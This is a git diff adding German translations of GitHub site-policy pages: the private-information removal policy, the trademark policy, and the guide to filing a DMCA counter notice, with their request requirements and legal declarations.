+  - /articles/github-sensitive-data-removal-policy
+  - /github/site-policy/github-sensitive-data-removal-policy
+  - /github/site-policy/github-private-information-removal-policy
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 42dbae3bcd7a1ee09a209c7bb5d81506e2d473bf
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099172'
+---
+Wir bieten diesen Prozess zum Entfernen privater Informationen als außergewöhnlichen Service nur für Inhalte mit hohem Risiko an, die eine Verletzung der [Nutzungsbedingungen von GitHub](/github/site-policy/github-acceptable-use-policies#3-conduct-restrictions) darstellen an, z. B. wenn Ihre Sicherheit durch offengelegte Zugangsdaten gefährdet ist. Dieser Leitfaden beschreibt die Informationen, die GitHub von Ihnen benötigt, um einen Antrag zum Entfernen privater Informationen aus einem Repository zu bearbeiten.
+
+## Was sind private Informationen?
+
+Für die Zwecke dieses Dokuments bezieht sich „private Informationen“ auf Inhalte, die (i) vertraulich behandelt werden sollten, *und* (ii) deren öffentliche Verfügbarkeit ein spezifisches oder gezieltes Sicherheitsrisiko für Sie oder Ihre Organisation darstellt. 
+
+„Sicherheitsrisiko“ bezieht sich auf eine Situation, die physische Gefahren, Identitätsdiebstahl oder eine erhöhte Wahrscheinlichkeit eines unbefugten Zugriffs auf physische oder Netzwerkeinrichtungen enthält.
+
+### Anträge auf Entfernung privater Informationen sind geeignet für:
+- Anmeldeinformationen, z. B. Nutzernamen in Kombination mit Kennwörtern, Zugriffstoken oder andere vertrauliche Geheimnissen, die Zugriff auf den Server, das Netzwerk oder die Domäne Ihrer Organisation gewähren können.
+- AWS-Token und andere ähnliche Zugangsdaten, die Dritten in Ihrem Namen Zugang gewähren. Sie müssen nachweisen können, dass das Token Ihnen gehört.
+- Dokumentation (z. B. Netzwerkdiagramme oder -architektur), die ein bestimmtes Sicherheitsrisiko für eine Organisation darstellt. 
+- [Informationen](/site-policy/acceptable-use-policies/github-doxxing-and-invasion-of-privacy), die sich auf Sie als Einzelperson beziehen und ein Sicherheitsrisiko für Sie darstellen (z. B. Sozialversicherungsnummern oder andere amtliche Identifikationsnummern).
+
+### Anträge auf Entfernung privater Informationen sind _nicht_ geeignet für:
+- Alleinige Erwähnung von internen Servernamen, IP-Adressen und URLs. Sie müssen nachweisen können, dass ihre Verwendung in einer bestimmten Datei oder einem bestimmten Codeabschnitt eine Sicherheitsbedrohung darstellt.
+- Bloße Erwähnungen der Identität, des Namens, der Marke, des Domänennamens Ihres Unternehmens oder anderer Verweise auf Ihr Unternehmen in Dateien auf GitHub. Sie müssen in der Lage sein zu artikulieren, warum die Verwendung der Identität Ihres Unternehmens eine Bedrohung für die Sicherheitslage Ihres Unternehmens darstellt.
+- Ganze Dateien oder Repositories, die kein besonderes Sicherheitsrisiko darstellen, aber Ihrer Meinung nach anderweitig anstößig sind.
+- Aufforderungen zur Entfernung von Inhalten, die Ihre Urheberrechte oder die Ihrer Organisation verletzen könnten. Wenn Sie Fragen dazu haben, wie GitHub mit urheberrechtlichen Angelegenheiten umgeht, oder potenziell verletzende Inhalte melden möchten, lesen Sie bitte unsere [Richtlinie zu DMCA Takedown Notices](/articles/dmca-takedown-policy/). Der Prozess zum Entfernen privater Informationen ist im Allgemeinen nicht für das Entfernen vollständiger Dateien oder Repositories gedacht – nur für die spezifischen Teile privater Informationen in diesen Dateien. Obwohl es Fälle geben kann, in denen Dateien vollständig mit privaten Informationen gefüllt sind, müssen Sie das Sicherheitsrisiko für das Entfernen solcher Dateien begründen, und dies kann die für die Bearbeitung Ihres Antrags erforderliche Zeit verlängern.
+- Markenstreitigkeiten. Wenn Sie Fragen dazu haben, wie GitHub markenbezogene Angelegenheiten handhabt, oder Inhalte melden möchten, die die Handels- oder Dienstleistungsmarken Ihrer Organisation enthalten, lesen Sie bitte unsere [Markenrichtlinie](/articles/github-trademark-policy/).
+- Datenschutzbeschwerden. Wenn Sie auf Ihre personenbezogenen Daten auf GitHub zugreifen, sie übermitteln, ändern oder löschen möchten, kontaktieren Sie uns bitte über [unser Kontaktformular Datenschutz](https://github.com/contact/privacy). 
+- Inhalte, die unseren [Community-Richtlinien](/articles/github-community-guidelines/) unterliegen, wie Malware oder Allzweck-Tools. Wenn Sie Fragen zu unseren Community-Richtlinien haben oder glauben, dass Inhalte auf GitHub gegen unsere Richtlinien verstoßen könnten, können Sie {% data variables.contact.report_content %} verwenden, um uns zu kontaktieren.
+
+## Wichtige Hinweise
+
+**Fragen Sie zuerst höflich nach.** Bevor Sie uns einen Antrag zum Entfernen von Daten senden, können Sie als ersten Schritt den Nutzer direkt kontaktieren. Sie haben möglicherweise Kontaktinformationen auf ihrer öffentlichen Profilseite oder in der README- oder Support-Datei des Repositories aufgeführt, oder Sie können sich mit ihnen in Verbindung setzen, indem Sie ein Issue oder Pull Request im Repository erstellen. Dies ist nicht unbedingt erforderlich, wird aber geschätzt.
+
+**Keine Bots.** Sie sollten die Fakten jedes von Ihnen gesendeten Antrags von einem geschulten Fachmann bewerten lassen. Wenn Sie Ihre Bemühungen an Dritte auslagern, stellen Sie sicher, dass Sie wissen, wie diese arbeiten, und stellen Sie sicher, dass sie keine automatisierten Bots verwenden, um Beschwerden in großen Mengen einzureichen. Diese Beschwerden enthalten oft Daten, die kein Sicherheitsrisiko darstellen, und sie enthalten keine ausreichenden Erklärungen, was zusätzliches Hin und Her erfordert und zu Verzögerungen führt, selbst wenn die Beschwerde berechtigt ist.
+
+**Reichen Sie den richtigen Antrag ein.** Wie oben erwähnt, bieten wir diesen Prozess zum Entfernen privater Informationen als außergewöhnlichen Service nur für Inhalte mit hohem Risiko an. Wir sind nicht in der Lage, diesen Prozess zu verwenden, um andere Arten von Inhalten zu entfernen, z. B. potenziell rechtsverletzende Inhalte, und wir können keine anderen Arten von Entfernungsersuchen gleichzeitig bearbeiten, während wir Anträge auf Entfernung privater Informationen bearbeiten. Wir können Ihnen schneller helfen, wenn Sie Ihre Anträge auf Entfernung privater Informationen getrennt von allen Anträgen auf Entfernung potenziell rechtsverletzender Inhalte einreichen. Wenn Sie sich nicht sicher sind, ob Ihr Antrag nur private Informationen oder auch andere rechtliche Angelegenheiten betrifft, wenden Sie sich bitte an einen Rechtsbeistand. 
+
+**Bearbeitungszeit.** Obwohl wir Anträge auf Entfernung privater Informationen so schnell wie möglich bearbeiten, kann es aufgrund der Menge der von uns bearbeiteten Anträge einige Zeit dauern, bis Ihr Antrag überprüft wird. Zusätzliche Anträge oder Mehrfachanträge von zusätzlichen Ansprechpartnern können zu Verzögerungen führen.
+
+## Wie funktioniert das eigentlich?
+
+1. **Beschwerdeführer ermittelt.** Es ist Sache der antragstellenden Partei, ihre eigene Untersuchung durchzuführen und uns die Informationen zur Verfügung zu stellen, [die wir benötigen](#your-request-must-include) – insbesondere eine Erklärung, inwiefern die Daten ein Sicherheitsrisiko darstellen. GitHub ist nicht in der Lage, im Namen von Einzelpersonen oder Organisationen nach privaten Informationen zu suchen oder erste Feststellungen zu treffen.
+
+2. **Der Beschwerdeführer sendet einen Antrag auf Entfernung privater Informationen.** Nach Durchführung einer Untersuchung bereitet der Beschwerdeführer [einen Antrag zum Entfernen privater Informationen](#sending-a-private-information-removal-request) vor und sendet ihn an GitHub. Wenn der Antrag nicht detailliert genug ist, um das Sicherheitsrisiko aufzuzeigen und GitHub zu erlauben, die Daten zu lokalisieren, werden wir antworten und um weitere Informationen bitten.
+
+3. **GitHub fordert den Nutzer auf, Änderungen vorzunehmen.** In den meisten Fällen kontaktieren wir den Nutzer, der das Repository erstellt hat, und geben ihm die Möglichkeit, die im Antrag angegebenen privaten Informationen zu löschen oder zu ändern oder den Anspruch anzufechten.
+
+4. **Nutzer benachrichtigt GitHub über Änderungen.** Wenn der Nutzer die angegebenen Änderungen vornimmt, ist dieser verpflichtet, uns dies innerhalb eines festgelegten Zeitfensters. Wenn dies nicht der Fall ist, deaktivieren wir das Repository. Wenn der Nutzer uns mitteilt, dass er Änderungen vorgenommen hat, werden wir überprüfen, ob die Änderungen vorgenommen wurden, und dann den Beschwerdeführer benachrichtigen.
+
+  ODER
+
+5. **Der Nutzer kann den Antrag anfechten.** Wenn ein Nutzer der Ansicht ist, dass es sich bei dem betreffenden Inhalt nicht um private Informationen handelt, die dieser Richtlinie unterliegen, kann er dies anfechten. Wenn dies der Fall ist, überlassen wir es im Allgemeinen dem Beschwerdeführer, den Nutzer zu kontaktieren und die Dinge im Rahmen des Zumutbaren direkt mit ihm zu klären.
+
+6. **Beschwerdeführer überprüft Änderungen.** Nimmt der Nutzer Änderungen vor, muss der Beschwerdeführer diese überprüfen. Wenn die Änderungen unzureichend sind, muss der Beschwerdeführer GitHub Einzelheiten zur Erläuterung zur Verfügung stellen. GitHub kann das Repository deaktivieren oder dem Nutzer eine zusätzliche Möglichkeit geben, die Änderungen vorzunehmen.
+
+7. **Der Nutzer kann ein zusätzliches Zeitfenster anfordern, um Änderungen vorzunehmen.** Wenn der Nutzer seine Gelegenheit verpasst hat, die in der Mitteilung angegebenen privaten Informationen zu entfernen, können wir ihm auf Anfrage ein zusätzliches Zeitfenster von etwa einem Werktag gewähren, um diese Änderungen vorzunehmen. In diesem Fall benachrichtigt GitHub den Beschwerdeführer.
+
+### Was ist mit Abspaltungen (Forks)? (oder Was ist eine Abspaltung?)
+Eines der besten Features von GitHub ist, dass Nutzer die Möglichkeit haben, Repositories anderer abzuspalten bzw. zu „forken“. Was bedeutet das? Im Wesentlichen bedeutet dies, dass Nutzer in ihrem eigenen Repository eine Kopie eines Projekts auf GitHub erstellen können. Wenn die Lizenz oder das Gesetz es zulässt, können Nutzer dann Änderungen an dieser Abspaltung vornehmen, um entweder zum Hauptprojekt zurückzukehren oder einfach ihre eigene Variante eines Projekts zu behalten. Jede dieser Kopien ist ein „[Fork](/articles/github-glossary/#fork)“ des ursprünglichen Repositories, das wiederum auch als „übergeordnetes Element“ des Forks bezeichnet werden kann.
+
+GitHub wird Abspaltungen nicht automatisch deaktivieren, wenn ein übergeordnetes Repository deaktiviert wird. Dies liegt daran, dass Forks verschiedenen Nutzern gehören und möglicherweise erheblich verändert wurden. GitHub führt keine unabhängigen Untersuchungen zu Abspaltungen durch. Wir erwarten, dass diejenigen, die Anträge auf Entfernung privater Informationen stellen, diese Untersuchung durchführen und, wenn sie glauben, dass die Forks auch private Informationen enthalten, Forks ausdrücklich in ihren Antrag aufnehmen.
+
+Wenn Sie zu dem Zeitpunkt, an dem Sie Ihre Mitteilung eingereicht haben, alle bestehenden Abspaltungen dieses Repositories identifiziert haben, würden wir bei Bearbeitung der Mitteilung einen gültigen Anspruch gegen alle Abspaltungen in diesem Netzwerk bearbeiten. Wir würden dies aufgrund der Wahrscheinlichkeit tun, dass alle neu erstellten Abspaltungen denselben Inhalt enthalten würden. Wenn das gemeldete Netzwerk, das die gemeldeten Inhalte enthält, größer als einhundert (100) Repositories ist und es daher schwierig wäre, es in seiner Gesamtheit zu überprüfen, können wir außerdem in Betracht ziehen, das gesamte Netzwerk zu deaktivieren, wenn Sie in Ihre Mitteilung aufnehmen, dass Sie auf der Grundlage der von Ihnen überprüften repräsentativen Anzahl von Abspaltungen der Ansicht sind, dass alle oder die meisten Abspaltungen im gleichen Maße wie das übergeordnete Repository die gemeldeten Inhalte enthalten.
+
+## Senden eines Antrags zum Entfernen privater Informationen
+
+Aufgrund der Art der Inhalte, die GitHub hostet (hauptsächlich Softwarecode) und der Art und Weise, wie die Inhalte verwaltet werden (mit Git), müssen Beschwerden so spezifisch wie möglich sein. Damit wir überprüfen können, ob ein Nutzer gemeldete private Informationen vollständig entfernt hat, müssen wir genau wissen, wo wir suchen müssen.
+
+Diese Richtlinien sollen die Bearbeitung von Anträgen auf Entfernung privater Informationen so einfach wie möglich gestalten.
+
+### Ihr Antrag muss Folgendes enthalten:
+
+1. Einen funktionierenden, anklickbaren Link zu jeder Datei, die private Informationen enthält. (Beachten Sie, dass wir nicht mit Suchergebnissen, Beispielen oder Screenshots arbeiten können.)
+2. Spezifische Zeilennummern in jeder Datei, die die privaten Informationen enthalten.
+3. Eine kurze Beschreibung, inwiefern jedes von Ihnen identifizierte Element ein Sicherheitsrisiko für Sie oder Ihre Organisation darstellt. ***Es ist wichtig, dass Sie erklären, inwiefern die Daten ein Sicherheitsrisiko darstellen, über die bloße Feststellung hinaus, dass dies der Fall ist.***
+4. Wenn Sie ein Dritter sind, der als Vertreter für eine Organisation handelt, die einem Sicherheitsrisiko ausgesetzt ist, fügen Sie eine Erklärung bei, dass Sie ein gesetzliches Recht haben, im Namen dieser Organisation zu handeln.
+5. OPTIONAL: Teilen Sie uns mit, wenn Ihr Antrag besonders dringend ist und warum. Wir reagieren so schnell wie möglich auf alle Anträge zur Entfernung privater Informationen. Wenn dieser Antrag jedoch besonders zeitkritisch ist, wie z. B. eine sehr aktuelle Offenlegung von Anmeldeinformationen, erläutern Sie bitte den Grund.
+
+## So übermitteln Sie Ihren Antrag
+
+Sie können Ihren Antrag zum Entfernen privater Informationen über unser [Kontaktformular](https://support.github.com/contact?tags=docs-private-information) senden. Bitte fügen Sie eine Klartextversion Ihres Antrags in den Text Ihrer Nachricht ein. Das Senden Ihres Antrags in einem Anhang kann zu Verzögerungen bei der Bearbeitung führen.
+
+## Streitigkeiten
+
+Wenn Sie von uns eine Aufforderung zur Entfernung privater Informationen erhalten haben, können Sie diese anfechten, indem Sie auf unsere E-Mail antworten und uns – so detailliert wie möglich – mitteilen, warum Sie der Meinung sind, dass es sich bei den betreffenden Inhalten nicht um private Informationen handelt, die dieser Richtlinie unterliegen.
diff --git a/translations/de-DE/content/site-policy/content-removal-policies/github-trademark-policy.md b/translations/de-DE/content/site-policy/content-removal-policies/github-trademark-policy.md
new file mode 100644
index 0000000000..5ab5601724
--- /dev/null
+++ b/translations/de-DE/content/site-policy/content-removal-policies/github-trademark-policy.md
@@ -0,0 +1,59 @@
+---
+title: GitHub Markenrichtlinie
+redirect_from:
+  - /articles/github-trademark-policy
+  - /github/site-policy/github-trademark-policy
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 289a04f894172d8adcaf0c32fe129efb524d8941
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556580'
+---
+## Was stellt einen Verstoß gegen die GitHub Markenrichtlinie dar?
+
+Die Verwendung eines Firmen- oder Geschäftsnamens, eines Logos oder anderer markenrechtlich geschützter Materialien in einer Weise, die andere hinsichtlich ihrer Marken- oder Geschäftszugehörigkeit irreführen oder verwirren kann, kann als Verstoß gegen die Markenrichtlinie angesehen werden.
+
+## Was stellt keinen Verstoß gegen die GitHub Markenrichtlinie dar?
+
+Die Verwendung einer fremden Marke in einer Weise, die nichts mit dem Produkt oder der Dienstleistung zu tun hat, für die die Marke erteilt wurde, stellt keinen Verstoß gegen die Markenrichtlinie dar. GitHub Nutzernamen sind nach dem Prinzip „First come first served“ verfügbar und dürfen nicht reserviert werden. Ein GitHub Konto mit einem Nutzernamen, der zufällig mit einer eingetragenen Marke identisch ist, stellt an sich nicht unbedingt einen Verstoß gegen unsere Markenrichtlinie dar.
+
+## Wie reagiert GitHub auf gemeldete Verstöße gegen die Markenrichtlinie?
+
+Wenn wir eine Meldung über einen Verstoß gegen die Markenrichtlinien von Inhabern von bundesstaatlichen oder internationalen Markenregistrierungen erhalten, überprüfen wir das betreffende Konto und sind berechtigt, die folgenden Maßnahmen zu ergreifen:
+
+* Wenn die klare Absicht besteht, andere durch die unbefugte Nutzung einer Marke in die Irre zu führen, sperrt GitHub das Konto und benachrichtigt den Inhaber des Kontos.
+* Wenn wir feststellen, dass ein Konto Nutzer zu verwirren scheint, sich aber nicht absichtlich als markenrechtlich geschützte Ware oder Dienstleistung ausgibt, geben wir dem Inhaber des Kontos die Möglichkeit, jegliche eventuelle Verwirrung zu beseitigen. Wir können auch einen Nutzernamen für die aktive Nutzung durch den Markeninhaber freigeben.
+
+## Wie melde ich einen Verstoß gegen die Markenrichtlinie?
+
+Inhaber von eingetragenen Marken können mögliche Verstöße gegen die Markenrichtlinie über unser [Kontaktformular](https://support.github.com/contact?tags=docs-trademark) an GitHub melden. Bitte senden Sie uns markenbezogene Anfragen unter Verwendung Ihrer Firmen-E-Mail-Adresse und geben Sie alle unten angeforderten Informationen an, damit wir schneller antworten können. Beschreiben Sie klar und deutlich, warum das Konto zu Verwechslungen mit Ihrer Marke führen kann oder wie das Konto Ihre Marke unterminieren oder schädigen kann.
+
+## Welche Informationen sind erforderlich, wenn Verstöße gegen die Markenrichtlinie gemeldet werden?
+
+Damit wir Verstöße gegen die Markenrichtlinie untersuchen können, geben Sie bitte alle folgenden Informationen an:
+
+* Nutzername des gemeldeten Kontos
+* Name Ihres Unternehmens
+* GitHub Konto Ihres Unternehmens (falls vorhanden)
+* Website des Unternehmens
+* Ihr markenrechtlich geschütztes Wort, Symbol usw.
+* Registrierungsnummer der Marke
+* Markenamt (z. B. USPTO)
+* Beschreibung der verwirrenden Elemente (z. B. das Konto gibt sich als Ihr Unternehmen aus; mit spezifischer Beschreibung von Inhalten oder Verhaltensweisen)
+* Angeforderte Aktion (z. B. Entfernung des gegen die Richtlinie verstoßenden Kontos oder Übertragung des markenrechtlich geschützten Nutzernamens auf ein bestehendes Unternehmenskonto)
+* Fügen Sie bitte folgende Erklärung ein: „Ich bin nach Treu und Glauben der Ansicht, dass die Verwendung der oben beschriebenen Marke nicht vom Markeninhaber oder seinem Vertreter oder dem Gesetz autorisiert wurde. Ich habe nominative und andere faire Verwendungen in Betracht gezogen.”
+* Fügen Sie außerdem bitte folgende Erklärung ein: „Ich erkläre, dass die Informationen in dieser Mitteilung richtig sind, und ich erkläre ferner an Eides statt, dass ich befugt bin, im Namen des Inhabers des exklusiven und mutmaßlich verletzten Rechts aufzutreten.”
+* Setzen Sie Ihre physische oder elektronische Unterschrift darunter.
+
+* Hinweis: Es ist eine bundesstaatliche oder internationale Markenregistrierungsnummer erforderlich. Wenn der Name, den Sie melden, **keine** eingetragene Marke ist (sondern z. B. eine Regierungsbehörde oder eine gemeinnützige Organisation), teilen Sie uns dies bitte mit:
+    * Ihr Vor- und Nachname
+    * Titel
+    * Adresse
+    * Telefon
+    * E-Mail-Adresse (muss von der Unternehmensdomäne stammen)
diff --git a/translations/de-DE/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice.md b/translations/de-DE/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice.md
new file mode 100644
index 0000000000..19232763a8
--- /dev/null
+++ b/translations/de-DE/content/site-policy/content-removal-policies/guide-to-submitting-a-dmca-counter-notice.md
@@ -0,0 +1,88 @@
+---
+title: Anleitung zum Einreichen einer DMCA Counter Notice (Gegendarstellung im Rahmen des DMCA)
+redirect_from:
+  - /dmca-counter-notice-how-to
+  - /articles/dmca-counter-notice-how-to
+  - /articles/guide-to-submitting-a-dmca-counter-notice
+  - /github/site-policy/guide-to-submitting-a-dmca-counter-notice
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 6bc5091c47401b3d55ef7ccd681d6c9eba48fd1a
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556579'
+---
+Dieser Leitfaden beschreibt die Informationen, die GitHub benötigt, um eine Gegendarstellung zu einem DMCA-Takedown-Antrag zu bearbeiten. Wenn Sie allgemeinere Fragen dazu haben, was der DMCA ist oder wie GitHub DMCA-Takedown-Anträge bearbeitet, lesen Sie bitte unsere [Richtlinie zu DMCA-Takedowns](/articles/dmca-takedown-policy).
+
+Wenn Sie der Auffassung sind, dass Ihre Inhalte auf GitHub fälschlicherweise durch einen DMCA-Takedown-Antrag deaktiviert wurden, haben Sie das Recht, die Deaktivierung anzufechten, indem Sie eine Gegendarstellung (Counter Notice) einreichen. Nachdem Sie die Gegendarstellung eingereicht haben, aktivieren wir Ihre Inhalte nach 10 bis 14 Tagen erneut; es sei denn, der Urheberrechtsinhaber leitet vorher rechtliche Schritte gegen Sie ein. Unser unten stehendes Formular für die Gegendarstellung entspricht dem im DMCA-Gesetz vorgeschlagenen Formular, das auf der offiziellen Website des U.S. Copyright Office zu finden ist: <https://www.copyright.gov>.
+
+Wie bei allen rechtlichen Angelegenheiten ist es stets ratsam, sich zu Ihren spezifischen Fragen oder Ihrer Situation an einen Fachmann zu wenden. Wir empfehlen Ihnen dringend, dies zu tun, bevor Sie Maßnahmen ergreifen, die Ihre Rechte beeinträchtigen könnten. Dieser Leitfaden ist keine Rechtsberatung und sollte auch nicht als solche verstanden werden.
+
+## Bevor Sie beginnen
+
+***Sagen Sie stets die Wahrheit.***
+Eine Gegendarstellung im Rahmen des DMCA ist wie eine eidesstattliche Erklärung, und wenn Sie die Unwahrheit sagen, können Sie *des Meineids* bezichtigt werden. Es ist eine Straftat, in einer eidesstattlichen Erklärung vorsätzlich zu lügen. (*Siehe* [U.S. Code, Titel 18, Abschnitt 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) Die Angabe falscher Informationen kann auch zu einer zivilrechtlichen Haftung führen, d. h. Sie können auf Schadenersatz verklagt werden.
+
+***Untersuchen.***
+Das Einreichen einer DMCA Counter Notice kann rechtliche Konsequenzen haben. Wenn die beschwerdeführende Partei sich nicht damit einverstanden erklärt, dass ihr Takedown-Antrag falsch war, kann sie sich dazu entschließen, eine Klage gegen Sie einzureichen, um die Deaktivierung des Inhalts beizubehalten. Sie sollten die in dem Takedown-Antrag erhobenen Behauptungen gründlich untersuchen und gegebenenfalls einen Anwalt konsultieren, bevor Sie eine Gegendarstellung einreichen.
+
+***Sie müssen einen guten Grund vorweisen können, um eine Gegendarstellung einzureichen.***
+Um eine Gegendarstellung einzureichen, müssen Sie „nach Treu und Glauben davon ausgehen, dass das Material aufgrund eines Fehlers oder einer falschen Identifizierung des zu entfernenden oder zu deaktivierenden Materials entfernt oder deaktiviert wurde”. ([U.S. Code, Titel 17, Abschnitt 512(g)](https://www.copyright.gov/title17/92chap5.html#512).) Ob Sie eine Erklärung dazu abgeben möchten, warum Ihrer Auffassung nach ein Fehler vorlag, liegt bei Ihnen und Ihrem Anwalt. Sie *müssen* jedoch einen Fehler identifizieren, bevor Sie eine Gegendarstellung einreichen. In der Vergangenheit haben wir Gegendarstellungen erhalten, in denen Fehler im Takedown-Antrag angeführt wurden, wie z. B.: „Die beschwerdeführende Partei hat kein Urheberrecht”, „Ich habe eine Lizenz”, „Der Code wurde unter einer Open-Source-Lizenz veröffentlicht, welche die Verwendung durch mich gestattet” oder „In der Beschwerde wurde die Tatsache nicht berücksichtigt, dass die Verwendung durch mich gemäß dem Fair-Use-Prinzips geschützt ist”. Natürlich können beim Takedown-Antrag auch andere Fehler auftreten.
+
+***Urheberrechtsgesetze sind kompliziert.***
+Manche Takedown-Anträge enthalten Urheberrechtsverletzungen, die seltsam oder sehr indirekt erscheinen. Urheberrechtsgesetze sind kompliziert und können unterschiedlich ausgelegt werden. In manchen Takedown-Anträgen wird beispielsweise behauptet, dass ein Quellcode gegen das Urheberrecht verstößt, weil er nach dem Kompilieren und Ausführen bestimmte Funktionen erfüllen kann. Beispiel:
+  - Es könnte behauptet werden, dass Ihre Software verwendet wird, um [Zugangskontrollen](https://www.copyright.gov/title17/92chap12.html) zu urheberrechtlich geschützten Werken zu umgehen.
+  - [In manchen Fällen](https://www.copyright.gov/docs/mgm/) kann die Verbreitung von Software eine Urheberrechtsverletzung darstellen. Nämlich dann, wenn Sie Endbenutzer dazu verleiten, mithilfe der Software gegen die Urheberrechte von geschützten Werken zu verstoßen.
+  - Eine Urheberrechtsbeschwerde könnte sich auch darauf stützen, dass Design-Elemente in der Software [nicht buchstäblich kopiert wurden](https://en.wikipedia.org/wiki/Substantial_similarity), anstatt dass der Quellcode selbst kopiert wurde – mit anderen Worten, jemand beschwert sich, weil er der der Meinung ist, Ihr *Design* sieht seinem Design zu ähnlich.
+
+Dies sind nur einige Beispiele dafür, wie komplex das Urheberrecht sein kann. Da es in solchen Fällen viele Nuancen und einige ungeklärte Fragen gibt, ist es besonders wichtig, professionellen Rat einzuholen, wenn die Vorwürfe der Rechtsverletzung nicht eindeutig zu sein scheinen.
+
+***Eine Counter Notice ist eine rechtliche Aussage.***
+Sie müssen alle Felder der Counter Notice bzw. Gegendarstellung vollständig ausfüllen, denn eine Counter Notice ist eine rechtliche Aussage – nicht nur uns gegenüber, sondern auch gegenüber der beschwerdeführenden Partei. Wie oben erwähnt muss die beschwerdeführende Partei durch Einleitung rechtlicher Schritte einen Gerichtsbeschluss erwirken, um den Nutzer daran zu hindern, sich an rechtsverletzenden Aktivitäten in Bezug auf den Inhalt auf GitHub zu beteiligen, wenn sie den Inhalt nach Erhalt einer Counter Notice deaktiviert lassen möchte. Mit anderen Worten, Sie könnten verklagt werden (und Sie erklären in der Counter Notice, dass Sie sich dessen bewusst sind).
+
+***Ihre Counter Notice wird veröffentlicht.***
+Wie in unserer [Richtlinie zu DMCA-Takedowns](/articles/dmca-takedown-policy#d-transparency) dargelegt, veröffentlichen wir alle vollständigen und durchsetzbaren Counter Notices, nachdem wir **jegliche personenbezogenen Daten unkenntlich gemacht haben**, unter <https://github.com/github/dmca>. Wenngleich wir ausschließlich redigierte Counter Notices veröffentlichen, können wir eine vollständige nicht redigierte Kopie aller von uns erhaltenen Counter Notices direkt an jede Partei weitergeben, deren Rechte gegebenenfalls davon betroffen sind. Wenn Sie um Ihre Privatsphäre besorgt sind, können Sie einen Anwalt oder einen anderen gesetzlichen Vertreter beauftragen, die Counter Notice in Ihrem Namen einzureichen.
+
+***GitHub tritt nicht als Richter auf.***
+GitHub hat in diesem Verfahren wenig Ermessensspielraum und muss lediglich bestimmen, ob die Counter Notice die Mindestanforderungen des DMCA erfüllt. Es ist Sache der Parteien (und ihrer Anwälte), die Begründetheit ihrer Ansprüche zu beurteilen, wobei zu beachten ist, dass alle Counter Notices in Kenntnis der Strafbarkeit einer falschen eidesstattlichen Versicherung erfolgen müssen.
+
+***Zusätzliche Ressourcen.***
+Wenn Sie zusätzliche Hilfe benötigen, finden Sie im Internet zahlreiche Ressourcen zur Selbsthilfe. Lumen bietet viele hilfreiche Informationen über [Urheberrechte](https://www.lumendatabase.org/topics/5) und [DMCA Safe Harbor](https://www.lumendatabase.org/topics/14). Wenn Sie an einem Open-Source-Projekt beteiligt sind und Rechtsberatung benötigen, können Sie sich an das [Software Freedom Law Center](https://www.softwarefreedom.org/about/contact/) wenden. In besonders schwierigen Fällen bieten auch gemeinnützige Organisationen wie die [Electronic Frontier Foundation](https://www.eff.org/pages/legal-assistance) direkte Hilfe an oder verweisen Sie an einen sachkundigen Anwalt.
+
+## Ihre Counter Notice muss...
+
+1. **die folgende Erklärung beinhalten: „I have read and understand GitHub's Guide to Filing a DMCA Counter Notice.”** („Ich habe den Leitfaden von GitHub zur Einreichung einer DMCA-Counter Notice gelesen und verstanden.”)
+Wenn die oben genannte Erklärung nicht enthalten ist, werden wir Ihre Counter Notice dennoch bearbeiten, sofern sie ansonsten vollständig ist. Wir müssen jedoch davon ausgehen, dass Sie diese Richtlinien nicht gelesen haben, und werden Sie gegebenenfalls auffordern, dies nachzuholen.
+
+2. ***Identifizieren Sie den deaktivierten Inhalt und den Ort, an dem er angezeigt wurde.***
+Der deaktivierte Inhalt sollte in dem Takedown-Antrag anhand der URL zu identifizieren sein. Sie müssen lediglich die URL(s) kopieren, die Sie anfechten möchten.
+
+3. **Geben Sie Ihre Kontaktdaten an.**
+Geben Sie Ihre E-Mail-Adresse, Ihren Namen, Ihre Telefonnummer und Ihre Anschrift an.
+
+4. ***die folgende Erklärung beinhalten: „I swear, under penalty of perjury, that I have a good-faith belief that the material was removed or disabled as a result of a mistake or misidentification of the material to be removed or disabled.”*** („Ich erkläre an Eides statt, dass ich in gutem Glauben davon ausgehe, dass das Material aufgrund eines Irrtums oder einer falschen Identifizierung des zu entfernenden oder zu deaktivierenden Materials entfernt oder deaktiviert wurde.”)
+Sie können auch angeben, warum Ihrer Meinung nach ein Fehler aufgetreten ist oder Inhalte falsch identifiziert wurden. Da Ihre Counter Notice als „Hinweis” an die beschwerdeführende Partei betrachtet werden kann, können Sie darin auch erklären, warum letztere Ihrer Ansicht nach davon absehen sollte, den nächsten Schritt zu unternehmen und eine Klage einzureichen. Dies ist ein weiterer Grund dafür, dass es empfehlenswert ist, beim Einreichen einer Counter Notice mit einem Rechtsanwalt zusammenzuarbeiten.
+
+5. ***die folgende Erklärung beinhalten: „I consent to the jurisdiction of Federal District Court for the judicial district in which my address is located (if in the United States, otherwise the Northern District of California where GitHub is located), and I will accept service of process from the person who provided the DMCA notification or an agent of such person.”*** („Ich erkläre mich mit der Zuständigkeit des Federal District Court für den Gerichtsbezirk einverstanden, in dem sich meine Anschrift befindet (falls Anschrift in den Vereinigten Staaten; andernfalls der Northern District of California, in dem GitHub seinen Sitz hat), und ich akzeptiere die Zustellung der Klage durch die Person, die die DMCA-Meldung eingereicht hat, oder durch einen Vertreter dieser Person.”)
+
+6. **Setzen Sie Ihre physische oder elektronische Unterschrift darunter.**
+
+## So reichen Sie Ihre Counter Notice ein
+
+Sie erhalten am schnellsten eine Antwort, wenn Sie Ihre Informationen auf unserem {% data variables.contact.contact_dmca %} eingeben und dort alle Fragen beantworten.
+
